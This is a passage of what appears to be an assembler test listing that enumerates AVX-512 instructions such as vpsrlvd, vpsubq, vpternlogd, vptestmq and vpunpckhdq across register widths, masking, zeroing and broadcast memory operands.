vpsrlvd xmm2{k5}, xmm7, [rbx]
vpsrlvd xmm2{k5}, xmm7, [rbx]{1to4}
vpsrlvd xmm2{k5}, xmm7, [rbx+r11*8+256]
vpsrlvd xmm2{k5}, xmm7, [rbx+r11*8-256]
vpsrlvd xmm2{k5}{z}, xmm7, xmm0
vpsrlvd xmm2{k5}{z}, xmm7, [rbx]
vpsrlvd xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpsrlvd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpsrlvd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpsrlvd ymm16, ymm13, ymm15
vpsrlvd ymm16, ymm13, [rbx]
vpsrlvd ymm16, ymm13, [rbx]{1to8}
vpsrlvd ymm16, ymm13, [rbx+r11*8+256]
vpsrlvd ymm16, ymm13, [rbx+r11*8-256]
vpsrlvd ymm16{k5}, ymm13, ymm15
vpsrlvd ymm16{k5}, ymm13, [rbx]
vpsrlvd ymm16{k5}, ymm13, [rbx]{1to8}
vpsrlvd ymm16{k5}, ymm13, [rbx+r11*8+256]
vpsrlvd ymm16{k5}, ymm13, [rbx+r11*8-256]
vpsrlvd ymm16{k5}{z}, ymm13, ymm15
vpsrlvd ymm16{k5}{z}, ymm13, [rbx]
vpsrlvd ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpsrlvd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpsrlvd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpsrlvd zmm24, zmm24, zmm31
vpsrlvd zmm24, zmm24, [rbx]
vpsrlvd zmm24, zmm24, [rbx]{1to16}
vpsrlvd zmm24, zmm24, [rbx+r11*8+256]
vpsrlvd zmm24, zmm24, [rbx+r11*8-256]
vpsrlvd zmm24{k5}, zmm24, zmm31
vpsrlvd zmm24{k5}, zmm24, [rbx]
vpsrlvd zmm24{k5}, zmm24, [rbx]{1to16}
vpsrlvd zmm24{k5}, zmm24, [rbx+r11*8+256]
vpsrlvd zmm24{k5}, zmm24, [rbx+r11*8-256]
vpsrlvd zmm24{k5}{z}, zmm24, zmm31
vpsrlvd zmm24{k5}{z}, zmm24, [rbx]
vpsrlvd zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpsrlvd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpsrlvd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpsrlvq xmm2, xmm7, xmm0
vpsrlvq xmm2, xmm7, [rbx]
vpsrlvq xmm2, xmm7, [rbx]{1to2}
vpsrlvq xmm2, xmm7, [rbx+r11*8+256]
vpsrlvq xmm2, xmm7, [rbx+r11*8-256]
vpsrlvq xmm2{k5}, xmm7, xmm0
vpsrlvq xmm2{k5}, xmm7, [rbx]
vpsrlvq xmm2{k5}, xmm7, [rbx]{1to2}
vpsrlvq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpsrlvq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpsrlvq xmm2{k5}{z}, xmm7, xmm0
vpsrlvq xmm2{k5}{z}, xmm7, [rbx]
vpsrlvq xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpsrlvq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpsrlvq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpsrlvq ymm16, ymm13, ymm15
vpsrlvq ymm16, ymm13, [rbx]
vpsrlvq ymm16, ymm13, [rbx]{1to4}
vpsrlvq ymm16, ymm13, [rbx+r11*8+256]
vpsrlvq ymm16, ymm13, [rbx+r11*8-256]
vpsrlvq ymm16{k5}, ymm13, ymm15
vpsrlvq ymm16{k5}, ymm13, [rbx]
vpsrlvq ymm16{k5}, ymm13, [rbx]{1to4}
vpsrlvq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpsrlvq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpsrlvq ymm16{k5}{z}, ymm13, ymm15
vpsrlvq ymm16{k5}{z}, ymm13, [rbx]
vpsrlvq ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpsrlvq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpsrlvq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpsrlvq zmm24, zmm24, zmm31
vpsrlvq zmm24, zmm24, [rbx]
vpsrlvq zmm24, zmm24, [rbx]{1to8}
vpsrlvq zmm24, zmm24, [rbx+r11*8+256]
vpsrlvq zmm24, zmm24, [rbx+r11*8-256]
vpsrlvq zmm24{k5}, zmm24, zmm31
vpsrlvq zmm24{k5}, zmm24, [rbx]
vpsrlvq zmm24{k5}, zmm24, [rbx]{1to8}
vpsrlvq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpsrlvq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpsrlvq zmm24{k5}{z}, zmm24, zmm31
vpsrlvq zmm24{k5}{z}, zmm24, [rbx]
vpsrlvq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpsrlvq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpsrlvq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpsubd xmm2, xmm7, xmm0
vpsubd xmm2, xmm7, [rbx]
vpsubd xmm2, xmm7, [rbx]{1to4}
vpsubd xmm2, xmm7, [rbx+r11*8+256]
vpsubd xmm2, xmm7, [rbx+r11*8-256]
vpsubd xmm2{k5}, xmm7, xmm0
vpsubd xmm2{k5}, xmm7, [rbx]
vpsubd xmm2{k5}, xmm7, [rbx]{1to4}
vpsubd xmm2{k5}, xmm7, [rbx+r11*8+256]
vpsubd xmm2{k5}, xmm7, [rbx+r11*8-256]
vpsubd xmm2{k5}{z}, xmm7, xmm0
vpsubd xmm2{k5}{z}, xmm7, [rbx]
vpsubd xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpsubd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpsubd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpsubd ymm16, ymm13, ymm15
vpsubd ymm16, ymm13, [rbx]
vpsubd ymm16, ymm13, [rbx]{1to8}
vpsubd ymm16, ymm13, [rbx+r11*8+256]
vpsubd ymm16, ymm13, [rbx+r11*8-256]
vpsubd ymm16{k5}, ymm13, ymm15
vpsubd ymm16{k5}, ymm13, [rbx]
vpsubd ymm16{k5}, ymm13, [rbx]{1to8}
vpsubd ymm16{k5}, ymm13, [rbx+r11*8+256]
vpsubd ymm16{k5}, ymm13, [rbx+r11*8-256]
vpsubd ymm16{k5}{z}, ymm13, ymm15
vpsubd ymm16{k5}{z}, ymm13, [rbx]
vpsubd ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpsubd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpsubd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpsubd zmm24, zmm24, zmm31
vpsubd zmm24, zmm24, [rbx]
vpsubd zmm24, zmm24, [rbx]{1to16}
vpsubd zmm24, zmm24, [rbx+r11*8+256]
vpsubd zmm24, zmm24, [rbx+r11*8-256]
vpsubd zmm24{k5}, zmm24, zmm31
vpsubd zmm24{k5}, zmm24, [rbx]
vpsubd zmm24{k5}, zmm24, [rbx]{1to16}
vpsubd zmm24{k5}, zmm24, [rbx+r11*8+256]
vpsubd zmm24{k5}, zmm24, [rbx+r11*8-256]
vpsubd zmm24{k5}{z}, zmm24, zmm31
vpsubd zmm24{k5}{z}, zmm24, [rbx]
vpsubd zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpsubd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpsubd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpsubq xmm2, xmm7, xmm0
vpsubq xmm2, xmm7, [rbx]
vpsubq xmm2, xmm7, [rbx]{1to2}
vpsubq xmm2, xmm7, [rbx+r11*8+256]
vpsubq xmm2, xmm7, [rbx+r11*8-256]
vpsubq xmm2{k5}, xmm7, xmm0
vpsubq xmm2{k5}, xmm7, [rbx]
vpsubq xmm2{k5}, xmm7, [rbx]{1to2}
vpsubq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpsubq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpsubq xmm2{k5}{z}, xmm7, xmm0
vpsubq xmm2{k5}{z}, xmm7, [rbx]
vpsubq xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpsubq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpsubq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpsubq ymm16, ymm13, ymm15
vpsubq ymm16, ymm13, [rbx]
vpsubq ymm16, ymm13, [rbx]{1to4}
vpsubq ymm16, ymm13, [rbx+r11*8+256]
vpsubq ymm16, ymm13, [rbx+r11*8-256]
vpsubq ymm16{k5}, ymm13, ymm15
vpsubq ymm16{k5}, ymm13, [rbx]
vpsubq ymm16{k5}, ymm13, [rbx]{1to4}
vpsubq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpsubq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpsubq ymm16{k5}{z}, ymm13, ymm15
vpsubq ymm16{k5}{z}, ymm13, [rbx]
vpsubq ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpsubq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpsubq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpsubq zmm24, zmm24, zmm31
vpsubq zmm24, zmm24, [rbx]
vpsubq zmm24, zmm24, [rbx]{1to8}
vpsubq zmm24, zmm24, [rbx+r11*8+256]
vpsubq zmm24, zmm24, [rbx+r11*8-256]
vpsubq zmm24{k5}, zmm24, zmm31
vpsubq zmm24{k5}, zmm24, [rbx]
vpsubq zmm24{k5}, zmm24, [rbx]{1to8}
vpsubq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpsubq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpsubq zmm24{k5}{z}, zmm24, zmm31
vpsubq zmm24{k5}{z}, zmm24, [rbx]
vpsubq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpsubq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpsubq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpternlogd xmm2, xmm7, xmm0, 10
vpternlogd xmm2, xmm7, [rbx], 10
vpternlogd xmm2, xmm7, [rbx]{1to4}, 10
vpternlogd xmm2, xmm7, [rbx+r11*8+256], 10
vpternlogd xmm2, xmm7, [rbx+r11*8-256], 10
vpternlogd xmm2{k5}, xmm7, xmm0, 10
vpternlogd xmm2{k5}, xmm7, [rbx], 10
vpternlogd xmm2{k5}, xmm7, [rbx]{1to4}, 10
vpternlogd xmm2{k5}, xmm7, [rbx+r11*8+256], 10
vpternlogd xmm2{k5}, xmm7, [rbx+r11*8-256], 10
vpternlogd xmm2{k5}{z}, xmm7, xmm0, 10
vpternlogd xmm2{k5}{z}, xmm7, [rbx], 10
vpternlogd xmm2{k5}{z}, xmm7, [rbx]{1to4}, 10
vpternlogd xmm2{k5}{z}, xmm7, [rbx+r11*8+256], 10
vpternlogd xmm2{k5}{z}, xmm7, [rbx+r11*8-256], 10
vpternlogd ymm16, ymm13, ymm15, 10
vpternlogd ymm16, ymm13, [rbx], 10
vpternlogd ymm16, ymm13, [rbx]{1to8}, 10
vpternlogd ymm16, ymm13, [rbx+r11*8+256], 10
vpternlogd ymm16, ymm13, [rbx+r11*8-256], 10
vpternlogd ymm16{k5}, ymm13, ymm15, 10
vpternlogd ymm16{k5}, ymm13, [rbx], 10
vpternlogd ymm16{k5}, ymm13, [rbx]{1to8}, 10
vpternlogd ymm16{k5}, ymm13, [rbx+r11*8+256], 10
vpternlogd ymm16{k5}, ymm13, [rbx+r11*8-256], 10
vpternlogd ymm16{k5}{z}, ymm13, ymm15, 10
vpternlogd ymm16{k5}{z}, ymm13, [rbx], 10
vpternlogd ymm16{k5}{z}, ymm13, [rbx]{1to8}, 10
vpternlogd ymm16{k5}{z}, ymm13, [rbx+r11*8+256], 10
vpternlogd ymm16{k5}{z}, ymm13, [rbx+r11*8-256], 10
vpternlogd zmm24, zmm24, zmm31, 10
vpternlogd zmm24, zmm24, [rbx], 10
vpternlogd zmm24, zmm24, [rbx]{1to16}, 10
vpternlogd zmm24, zmm24, [rbx+r11*8+256], 10
vpternlogd zmm24, zmm24, [rbx+r11*8-256], 10
vpternlogd zmm24{k5}, zmm24, zmm31, 10
vpternlogd zmm24{k5}, zmm24, [rbx], 10
vpternlogd zmm24{k5}, zmm24, [rbx]{1to16}, 10
vpternlogd zmm24{k5}, zmm24, [rbx+r11*8+256], 10
vpternlogd zmm24{k5}, zmm24, [rbx+r11*8-256], 10
vpternlogd zmm24{k5}{z}, zmm24, zmm31, 10
vpternlogd zmm24{k5}{z}, zmm24, [rbx], 10
vpternlogd zmm24{k5}{z}, zmm24, [rbx]{1to16}, 10
vpternlogd zmm24{k5}{z}, zmm24, [rbx+r11*8+256], 10
vpternlogd zmm24{k5}{z}, zmm24, [rbx+r11*8-256], 10
vpternlogq xmm2, xmm7, xmm0, 10
vpternlogq xmm2, xmm7, [rbx], 10
vpternlogq xmm2, xmm7, [rbx]{1to2}, 10
vpternlogq xmm2, xmm7, [rbx+r11*8+256], 10
vpternlogq xmm2, xmm7, [rbx+r11*8-256], 10
vpternlogq xmm2{k5}, xmm7, xmm0, 10
vpternlogq xmm2{k5}, xmm7, [rbx], 10
vpternlogq xmm2{k5}, xmm7, [rbx]{1to2}, 10
vpternlogq xmm2{k5}, xmm7, [rbx+r11*8+256], 10
vpternlogq xmm2{k5}, xmm7, [rbx+r11*8-256], 10
vpternlogq xmm2{k5}{z}, xmm7, xmm0, 10
vpternlogq xmm2{k5}{z}, xmm7, [rbx], 10
vpternlogq xmm2{k5}{z}, xmm7, [rbx]{1to2}, 10
vpternlogq xmm2{k5}{z}, xmm7, [rbx+r11*8+256], 10
vpternlogq xmm2{k5}{z}, xmm7, [rbx+r11*8-256], 10
vpternlogq ymm16, ymm13, ymm15, 10
vpternlogq ymm16, ymm13, [rbx], 10
vpternlogq ymm16, ymm13, [rbx]{1to4}, 10
vpternlogq ymm16, ymm13, [rbx+r11*8+256], 10
vpternlogq ymm16, ymm13, [rbx+r11*8-256], 10
vpternlogq ymm16{k5}, ymm13, ymm15, 10
vpternlogq ymm16{k5}, ymm13, [rbx], 10
vpternlogq ymm16{k5}, ymm13, [rbx]{1to4}, 10
vpternlogq ymm16{k5}, ymm13, [rbx+r11*8+256], 10
vpternlogq ymm16{k5}, ymm13, [rbx+r11*8-256], 10
vpternlogq ymm16{k5}{z}, ymm13, ymm15, 10
vpternlogq ymm16{k5}{z}, ymm13, [rbx], 10
vpternlogq ymm16{k5}{z}, ymm13, [rbx]{1to4}, 10
vpternlogq ymm16{k5}{z}, ymm13, [rbx+r11*8+256], 10
vpternlogq ymm16{k5}{z}, ymm13, [rbx+r11*8-256], 10
vpternlogq zmm24, zmm24, zmm31, 10
vpternlogq zmm24, zmm24, [rbx], 10
vpternlogq zmm24, zmm24, [rbx]{1to8}, 10
vpternlogq zmm24, zmm24, [rbx+r11*8+256], 10
vpternlogq zmm24, zmm24, [rbx+r11*8-256], 10
vpternlogq zmm24{k5}, zmm24, zmm31, 10
vpternlogq zmm24{k5}, zmm24, [rbx], 10
vpternlogq zmm24{k5}, zmm24, [rbx]{1to8}, 10
vpternlogq zmm24{k5}, zmm24, [rbx+r11*8+256], 10
vpternlogq zmm24{k5}, zmm24, [rbx+r11*8-256], 10
vpternlogq zmm24{k5}{z}, zmm24, zmm31, 10
vpternlogq zmm24{k5}{z}, zmm24, [rbx], 10
vpternlogq zmm24{k5}{z}, zmm24, [rbx]{1to8}, 10
vpternlogq zmm24{k5}{z}, zmm24, [rbx+r11*8+256], 10
vpternlogq zmm24{k5}{z}, zmm24, [rbx+r11*8-256], 10
vptestmd k3, xmm7, xmm0
vptestmd k3, xmm7, [rbx]
vptestmd k3, xmm7, [rbx]{1to4}
vptestmd k3, xmm7, [rbx+r11*8+256]
vptestmd k3, xmm7, [rbx+r11*8-256]
vptestmd k3, ymm13, ymm15
vptestmd k3, ymm13, [rbx]
vptestmd k3, ymm13, [rbx]{1to8}
vptestmd k3, ymm13, [rbx+r11*8+256]
vptestmd k3, ymm13, [rbx+r11*8-256]
vptestmd k3, zmm24, zmm31
vptestmd k3, zmm24, [rbx]
vptestmd k3, zmm24, [rbx]{1to16}
vptestmd k3, zmm24, [rbx+r11*8+256]
vptestmd k3, zmm24, [rbx+r11*8-256]
vptestmd k3{k5}, xmm7, xmm0
vptestmd k3{k5}, xmm7, [rbx]
vptestmd k3{k5}, xmm7, [rbx]{1to4}
vptestmd k3{k5}, xmm7, [rbx+r11*8+256]
vptestmd k3{k5}, xmm7, [rbx+r11*8-256]
vptestmd k3{k5}, ymm13, ymm15
vptestmd k3{k5}, ymm13, [rbx]
vptestmd k3{k5}, ymm13, [rbx]{1to8}
vptestmd k3{k5}, ymm13, [rbx+r11*8+256]
vptestmd k3{k5}, ymm13, [rbx+r11*8-256]
vptestmd k3{k5}, zmm24, zmm31
vptestmd k3{k5}, zmm24, [rbx]
vptestmd k3{k5}, zmm24, [rbx]{1to16}
vptestmd k3{k5}, zmm24, [rbx+r11*8+256]
vptestmd k3{k5}, zmm24, [rbx+r11*8-256]
vptestmq k3, xmm7, xmm0
vptestmq k3, xmm7, [rbx]
vptestmq k3, xmm7, [rbx]{1to2}
vptestmq k3, xmm7, [rbx+r11*8+256]
vptestmq k3, xmm7, [rbx+r11*8-256]
vptestmq k3, ymm13, ymm15
vptestmq k3, ymm13, [rbx]
vptestmq k3, ymm13, [rbx]{1to4}
vptestmq k3, ymm13, [rbx+r11*8+256]
vptestmq k3, ymm13, [rbx+r11*8-256]
vptestmq k3, zmm24, zmm31
vptestmq k3, zmm24, [rbx]
vptestmq k3, zmm24, [rbx]{1to8}
vptestmq k3, zmm24, [rbx+r11*8+256]
vptestmq k3, zmm24, [rbx+r11*8-256]
vptestmq k3{k5}, xmm7, xmm0
vptestmq k3{k5}, xmm7, [rbx]
vptestmq k3{k5}, xmm7, [rbx]{1to2}
vptestmq k3{k5}, xmm7, [rbx+r11*8+256]
vptestmq k3{k5}, xmm7, [rbx+r11*8-256]
vptestmq k3{k5}, ymm13, ymm15
vptestmq k3{k5}, ymm13, [rbx]
vptestmq k3{k5}, ymm13, [rbx]{1to4}
vptestmq k3{k5}, ymm13, [rbx+r11*8+256]
vptestmq k3{k5}, ymm13, [rbx+r11*8-256]
vptestmq k3{k5}, zmm24, zmm31
vptestmq k3{k5}, zmm24, [rbx]
vptestmq k3{k5}, zmm24, [rbx]{1to8}
vptestmq k3{k5}, zmm24, [rbx+r11*8+256]
vptestmq k3{k5}, zmm24, [rbx+r11*8-256]
vptestnmd k3, xmm7, xmm0
vptestnmd k3, xmm7, [rbx]
vptestnmd k3, xmm7, [rbx]{1to4}
vptestnmd k3, xmm7, [rbx+r11*8+256]
vptestnmd k3, xmm7, [rbx+r11*8-256]
vptestnmd k3, ymm13, ymm15
vptestnmd k3, ymm13, [rbx]
vptestnmd k3, ymm13, [rbx]{1to8}
vptestnmd k3, ymm13, [rbx+r11*8+256]
vptestnmd k3, ymm13, [rbx+r11*8-256]
vptestnmd k3, zmm24, zmm31
vptestnmd k3, zmm24, [rbx]
vptestnmd k3, zmm24, [rbx]{1to16}
vptestnmd k3, zmm24, [rbx+r11*8+256]
vptestnmd k3, zmm24, [rbx+r11*8-256]
vptestnmd k3{k5}, xmm7, xmm0
vptestnmd k3{k5}, xmm7, [rbx]
vptestnmd k3{k5}, xmm7, [rbx]{1to4}
vptestnmd k3{k5}, xmm7, [rbx+r11*8+256]
vptestnmd k3{k5}, xmm7, [rbx+r11*8-256]
vptestnmd k3{k5}, ymm13, ymm15
vptestnmd k3{k5}, ymm13, [rbx]
vptestnmd k3{k5}, ymm13, [rbx]{1to8}
vptestnmd k3{k5}, ymm13, [rbx+r11*8+256]
vptestnmd k3{k5}, ymm13, [rbx+r11*8-256]
vptestnmd k3{k5}, zmm24, zmm31
vptestnmd k3{k5}, zmm24, [rbx]
vptestnmd k3{k5}, zmm24, [rbx]{1to16}
vptestnmd k3{k5}, zmm24, [rbx+r11*8+256]
vptestnmd k3{k5}, zmm24, [rbx+r11*8-256]
vptestnmq k3, xmm7, xmm0
vptestnmq k3, xmm7, [rbx]
vptestnmq k3, xmm7, [rbx]{1to2}
vptestnmq k3, xmm7, [rbx+r11*8+256]
vptestnmq k3, xmm7, [rbx+r11*8-256]
vptestnmq k3, ymm13, ymm15
vptestnmq k3, ymm13, [rbx]
vptestnmq k3, ymm13, [rbx]{1to4}
vptestnmq k3, ymm13, [rbx+r11*8+256]
vptestnmq k3, ymm13, [rbx+r11*8-256]
vptestnmq k3, zmm24, zmm31
vptestnmq k3, zmm24, [rbx]
vptestnmq k3, zmm24, [rbx]{1to8}
vptestnmq k3, zmm24, [rbx+r11*8+256]
vptestnmq k3, zmm24, [rbx+r11*8-256]
vptestnmq k3{k5}, xmm7, xmm0
vptestnmq k3{k5}, xmm7, [rbx]
vptestnmq k3{k5}, xmm7, [rbx]{1to2}
vptestnmq k3{k5}, xmm7, [rbx+r11*8+256]
vptestnmq k3{k5}, xmm7, [rbx+r11*8-256]
vptestnmq k3{k5}, ymm13, ymm15
vptestnmq k3{k5}, ymm13, [rbx]
vptestnmq k3{k5}, ymm13, [rbx]{1to4}
vptestnmq k3{k5}, ymm13, [rbx+r11*8+256]
vptestnmq k3{k5}, ymm13, [rbx+r11*8-256]
vptestnmq k3{k5}, zmm24, zmm31
vptestnmq k3{k5}, zmm24, [rbx]
vptestnmq k3{k5}, zmm24, [rbx]{1to8}
vptestnmq k3{k5}, zmm24, [rbx+r11*8+256]
vptestnmq k3{k5}, zmm24, [rbx+r11*8-256]
vpunpckhdq xmm2, xmm7, xmm0
vpunpckhdq xmm2, xmm7, [rbx]
vpunpckhdq xmm2, xmm7, [rbx]{1to4}
vpunpckhdq xmm2, xmm7, [rbx+r11*8+256]
vpunpckhdq xmm2, xmm7, [rbx+r11*8-256]
vpunpckhdq xmm2{k5}, xmm7, xmm0
vpunpckhdq xmm2{k5}, xmm7, [rbx]
vpunpckhdq xmm2{k5}, xmm7, [rbx]{1to4}
vpunpckhdq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpunpckhdq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpunpckhdq xmm2{k5}{z}, xmm7, xmm0
vpunpckhdq xmm2{k5}{z}, xmm7, [rbx]
vpunpckhdq xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpunpckhdq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpunpckhdq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpunpckhdq ymm16, ymm13, ymm15
vpunpckhdq ymm16, ymm13, [rbx]
vpunpckhdq ymm16, ymm13, [rbx]{1to8}
vpunpckhdq ymm16, ymm13, [rbx+r11*8+256]
vpunpckhdq ymm16, ymm13, [rbx+r11*8-256]
vpunpckhdq ymm16{k5}, ymm13, ymm15
vpunpckhdq ymm16{k5}, ymm13, [rbx]
vpunpckhdq ymm16{k5}, ymm13, [rbx]{1to8}
vpunpckhdq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpunpckhdq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpunpckhdq ymm16{k5}{z}, ymm13, ymm15
vpunpckhdq ymm16{k5}{z}, ymm13, [rbx]
vpunpckhdq ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpunpckhdq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpunpckhdq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpunpckhdq zmm24, zmm24, zmm31
vpunpckhdq zmm24, zmm24, [rbx]
vpunpckhdq zmm24, zmm24, [rbx]{1to16}
vpunpckhdq zmm24, zmm24, [rbx+r11*8+256]
vpunpckhdq zmm24, zmm24, [rbx+r11*8-256]
vpunpckhdq zmm24{k5}, zmm24, zmm31
vpunpckhdq zmm24{k5}, zmm24, [rbx]
vpunpckhdq zmm24{k5}, zmm24, [rbx]{1to16}
vpunpckhdq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpunpckhdq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpunpckhdq zmm24{k5}{z}, zmm24, zmm31
vpunpckhdq zmm24{k5}{z}, zmm24, [rbx]
vpunpckhdq zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpunpckhdq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpunpckhdq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpunpckhqdq xmm2, xmm7, xmm0
vpunpckhqdq xmm2, xmm7, [rbx]
vpunpckhqdq xmm2, xmm7, [rbx]{1to2}
vpunpckhqdq xmm2, xmm7, [rbx+r11*8+256]
vpunpckhqdq xmm2, xmm7, [rbx+r11*8-256]
vpunpckhqdq xmm2{k5}, xmm7, xmm0
vpunpckhqdq xmm2{k5}, xmm7, [rbx]
vpunpckhqdq xmm2{k5}, xmm7, [rbx]{1to2}
vpunpckhqdq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpunpckhqdq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpunpckhqdq xmm2{k5}{z}, xmm7, xmm0
vpunpckhqdq xmm2{k5}{z}, xmm7, [rbx]
vpunpckhqdq xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpunpckhqdq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpunpckhqdq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpunpckhqdq ymm16, ymm13, ymm15
vpunpckhqdq ymm16, ymm13, [rbx]
vpunpckhqdq ymm16, ymm13, [rbx]{1to4}
vpunpckhqdq ymm16, ymm13, [rbx+r11*8+256]
vpunpckhqdq ymm16, ymm13, [rbx+r11*8-256]
vpunpckhqdq ymm16{k5}, ymm13, ymm15
vpunpckhqdq ymm16{k5}, ymm13, [rbx]
vpunpckhqdq ymm16{k5}, ymm13, [rbx]{1to4}
vpunpckhqdq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpunpckhqdq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpunpckhqdq ymm16{k5}{z}, ymm13, ymm15
vpunpckhqdq ymm16{k5}{z}, ymm13, [rbx]
vpunpckhqdq ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpunpckhqdq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpunpckhqdq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpunpckhqdq zmm24, zmm24, zmm31
vpunpckhqdq zmm24, zmm24, [rbx]
vpunpckhqdq zmm24, zmm24, [rbx]{1to8}
vpunpckhqdq zmm24, zmm24, [rbx+r11*8+256]
vpunpckhqdq zmm24, zmm24, [rbx+r11*8-256]
vpunpckhqdq zmm24{k5}, zmm24, zmm31
vpunpckhqdq zmm24{k5}, zmm24, [rbx]
vpunpckhqdq zmm24{k5}, zmm24, [rbx]{1to8}
vpunpckhqdq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpunpckhqdq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpunpckhqdq zmm24{k5}{z}, zmm24, zmm31
vpunpckhqdq zmm24{k5}{z}, zmm24, [rbx]
vpunpckhqdq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpunpckhqdq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpunpckhqdq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpunpckldq xmm2, xmm7, xmm0
vpunpckldq xmm2, xmm7, [rbx]
vpunpckldq xmm2, xmm7, [rbx]{1to4}
vpunpckldq xmm2, xmm7, [rbx+r11*8+256]
vpunpckldq xmm2, xmm7, [rbx+r11*8-256]
vpunpckldq xmm2{k5}, xmm7, xmm0
vpunpckldq xmm2{k5}, xmm7, [rbx]
vpunpckldq xmm2{k5}, xmm7, [rbx]{1to4}
vpunpckldq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpunpckldq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpunpckldq xmm2{k5}{z}, xmm7, xmm0
vpunpckldq xmm2{k5}{z}, xmm7, [rbx]
vpunpckldq xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpunpckldq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpunpckldq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpunpckldq ymm16, ymm13, ymm15
vpunpckldq ymm16, ymm13, [rbx]
vpunpckldq ymm16, ymm13, [rbx]{1to8}
vpunpckldq ymm16, ymm13, [rbx+r11*8+256]
vpunpckldq ymm16, ymm13, [rbx+r11*8-256]
vpunpckldq ymm16{k5}, ymm13, ymm15
vpunpckldq ymm16{k5}, ymm13, [rbx]
vpunpckldq ymm16{k5}, ymm13, [rbx]{1to8}
vpunpckldq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpunpckldq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpunpckldq ymm16{k5}{z}, ymm13, ymm15
vpunpckldq ymm16{k5}{z}, ymm13, [rbx]
vpunpckldq ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpunpckldq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpunpckldq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpunpckldq zmm24, zmm24, zmm31
vpunpckldq zmm24, zmm24, [rbx]
vpunpckldq zmm24, zmm24, [rbx]{1to16}
vpunpckldq zmm24, zmm24, [rbx+r11*8+256]
vpunpckldq zmm24, zmm24, [rbx+r11*8-256]
vpunpckldq zmm24{k5}, zmm24, zmm31
vpunpckldq zmm24{k5}, zmm24, [rbx]
vpunpckldq zmm24{k5}, zmm24, [rbx]{1to16}
vpunpckldq zmm24{k5}, zmm24, [rbx+r11*8+256]
